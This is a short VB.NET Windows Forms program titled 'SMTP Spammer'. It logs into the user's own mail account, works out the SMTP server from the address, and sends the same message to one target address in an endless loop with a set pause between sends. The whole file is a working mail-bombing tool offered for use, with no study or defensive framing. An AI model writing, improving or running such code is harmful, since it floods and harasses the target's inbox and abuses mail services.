SMTP Spammer

Public Class Main

    Dim thread As New Threading.Thread(AddressOf Thread_Work)

    Private Sub btnStart_Click(sender As Object, e As EventArgs) Handles btnStart.Click
        If btnStart.Text = "Start!" Then
            thread.Start()
            btnStart.Text = "Stop and exit!"
        Else
            thread.Abort()
            Me.Close()
        End If
    End Sub

    Public Sub Thread_Work()
        Dim host As String = "smtp."
        Dim counter As Integer = 0
        Dim login As String = ""
        For i = 0 To txtEmail.Text.Length - 1
            If txtEmail.Text(i) = "@" Then
                counter = i + 1
                Exit For
            Else
                login &= txtEmail.Text(i)
            End If
        Next
        For i = counter To txtEmail.Text.Length - 1
            host &= txtEmail.Text(i)
        Next
        Dim smtp As New Net.Mail.SmtpClient(host)
        smtp.Credentials = New Net.NetworkCredential(login, txtPassword.Text)
        smtp.EnableSsl = True
        Do
            Try
                smtp.Send(txtEmail.Text, txtTarget.Text, txtSubject.Text, txtBody.Text)
            Catch err As Exception
                MsgBox(err.Message)
            End Try
            Threading.Thread.Sleep(numDuration.Value)
        Loop
    End Sub

End Class